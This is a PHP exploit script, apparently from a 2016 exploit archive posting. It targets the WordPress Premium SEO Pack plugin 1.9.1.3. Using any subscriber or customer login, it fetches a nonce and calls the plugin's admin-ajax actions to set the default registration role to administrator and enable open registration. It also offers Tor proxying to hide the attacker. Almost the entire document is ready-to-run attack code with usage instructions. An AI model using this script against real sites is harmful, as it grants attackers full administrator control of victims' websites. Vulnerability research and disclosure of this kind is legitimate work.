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WordPress Premium SEO Pack 1.9.1.3 wp_options Overwrite

Posted on 21 June 2016

<?php
/**
* Exploit Title: Premium SEO Pack Exploit
* Google Dork:
* Exploit Author: wp0Day.com <contact@wp0day.com>
* Vendor Homepage: http://aa-team.com/
* Software Link: http://codecanyon.net/item/premium-seo-pack-wordpress-plugin/6109437?s_rank=2
* Version: 1.9.1.3
* Tested on: Debian 8, PHP 5.6.17-3
* Type: Authenticated (customer, subscriber) wp_options overwrite
* Time line: Found [05-Jun-2016], Vendor notified [05-Jun-2016], Vendor fixed: [???], [RD:1]
*/

require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();

$options = getopt("t:m:u:p:a:",array('tor:'));
echo "Current Options:
";
print_r($options);
for($i=4;$i>0;$i--){
echo "Starting in $i 
";
sleep(1);
}
echo "Starting.... 
";
echo "
";

$options = validateInput($options);

if (!$options){
showHelp();
}

if ($options['tor'] === true)
{
echo " ### USING TOR ###
";
echo "Setting TOR Proxy...
";
$curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
$curl->addOption(CURLOPT_PROXYTYPE,7);
echo "Checking IPv4 Address
";
$curl->get('https://dynamicdns.park-your-domain.com/getip');
echo "Got IP : ".$curl->getResponse()."
";
echo "Are you sure you want to do this?
Type 'wololo' to continue: ";
$answer = fgets(fopen ("php://stdin","r"));
if(trim($answer) != 'wololo'){
die("Aborting!
");
}
echo "OK...
";
}

function logIn(){
global $curl, $options;
file_put_contents('cookies.txt',"
");
$curl->setCookieFile('cookies.txt');
$curl->get($options['t']);
$data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
$curl->post($options['t'].'/wp-login.php', $data);
$status = $curl->getTransferInfo('http_code');
if ($status !== 302){
echo "Login probably failed, aborting...
";
echo "Login response saved to login.html.
";
die();
}
file_put_contents('login.html',$curl->getResponse());
}

function exploit(){
global $curl, $options;
if ($options['m'] == 'admin_on') {
echo "Setting default role on registration to Administrator
";
/* Getting a nonce */
$data = array('action'=>'pspLoadSection', 'section'=>'setup_backup');
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
$resp = $curl->getResponse();
$resp = json_decode($resp,true);
preg_match_all('~id="box_nonce" name="box_nonce" value="([a-f0-9]{10})"~', $resp['html'], $mat);
if (!isset($mat[1])){
die("Failed getting box_nonce
");
}
$nonce = $mat[1][0];
$new_settings = array('default_role'=>'administrator', 'users_can_register'=>1);
$new_settings = urlencode(json_encode($new_settings));
echo "Sending settings to update
";
$data = array('action'=>'pspInstallDefaultOptions', 'options'=>'box_id=psp_setup_box&box_nonce='.$nonce.'&install_box='.$new_settings);
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
$resp = $curl->getResponse();
$resp = json_decode($resp,true);
if (@$resp['status'] == 'ok'){
echo "Admin mode is ON, go ahead an register yourself an Admin account! 
";
} else {
echo "Setting admin mode failed 
";
}
echo "Raw response: " . $curl->getResponse() . "
";
}
if ($options['m'] == 'admin_off') {

echo "Setting default role on registration to Subscriber
";
/* Getting a nonce */
$data = array('action'=>'pspLoadSection', 'section'=>'setup_backup');
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
$resp = $curl->getResponse();
$resp = json_decode($resp,true);
preg_match_all('~id="box_nonce" name="box_nonce" value="([a-f0-9]{10})"~', $resp['html'], $mat);
if (!isset($mat[1])){
die("Failed getting box_nonce
");
}
$nonce = $mat[1][0];
$new_settings = array('default_role'=>'subscriber', 'users_can_register'=>0);
$new_settings = urlencode(json_encode($new_settings));
echo "Sending settings to update
";
$data = array('action'=>'pspInstallDefaultOptions', 'options'=>'box_id=psp_setup_box&box_nonce='.$nonce.'&install_box='.$new_settings);
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
$resp = $curl->getResponse();
$resp = json_decode($resp,true);
if (@$resp['status'] == 'ok'){
echo "Admin mode is OFF 
";
}
echo "Raw response: " . $curl->getResponse() . "
";
}
}

logIn();
exploit();

function validateInput($options){

if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
return false;
}
if ( !isset($options['u']) ){
return false;
}
if ( !isset($options['p']) ){
return false;
}
if (!preg_match('~/$~',$options['t'])){
$options['t'] = $options['t'].'/';
}
if (!isset($options['m']) || !in_array($options['m'], array('admin_on','admin_off') ) ){
return false;
}
if ($options['m'] == 'tag' && !isset($options['a'])){

}
$options['tor'] = isset($options['tor']);

return $options;
}

function showHelp(){
global $argv;
$help = <<<EOD

Premium SEO Pack Exploit

Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]

*** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **

[MODE] admin_on - Sets default role on registration to Administrator
admin_off - Sets default role on registration to Subscriber

Examples:
php $argv[0] -t http://localhost/ --tor=yes -u customer1 -p password -m admin_on
php $argv[0] -t http://localhost/ --tor=yes -u customer1 -p password -m admin_off

Misc:
CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
@link http://github.com/svyatov/CurlWrapper
@license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;
echo $help."

";
die();
}

 

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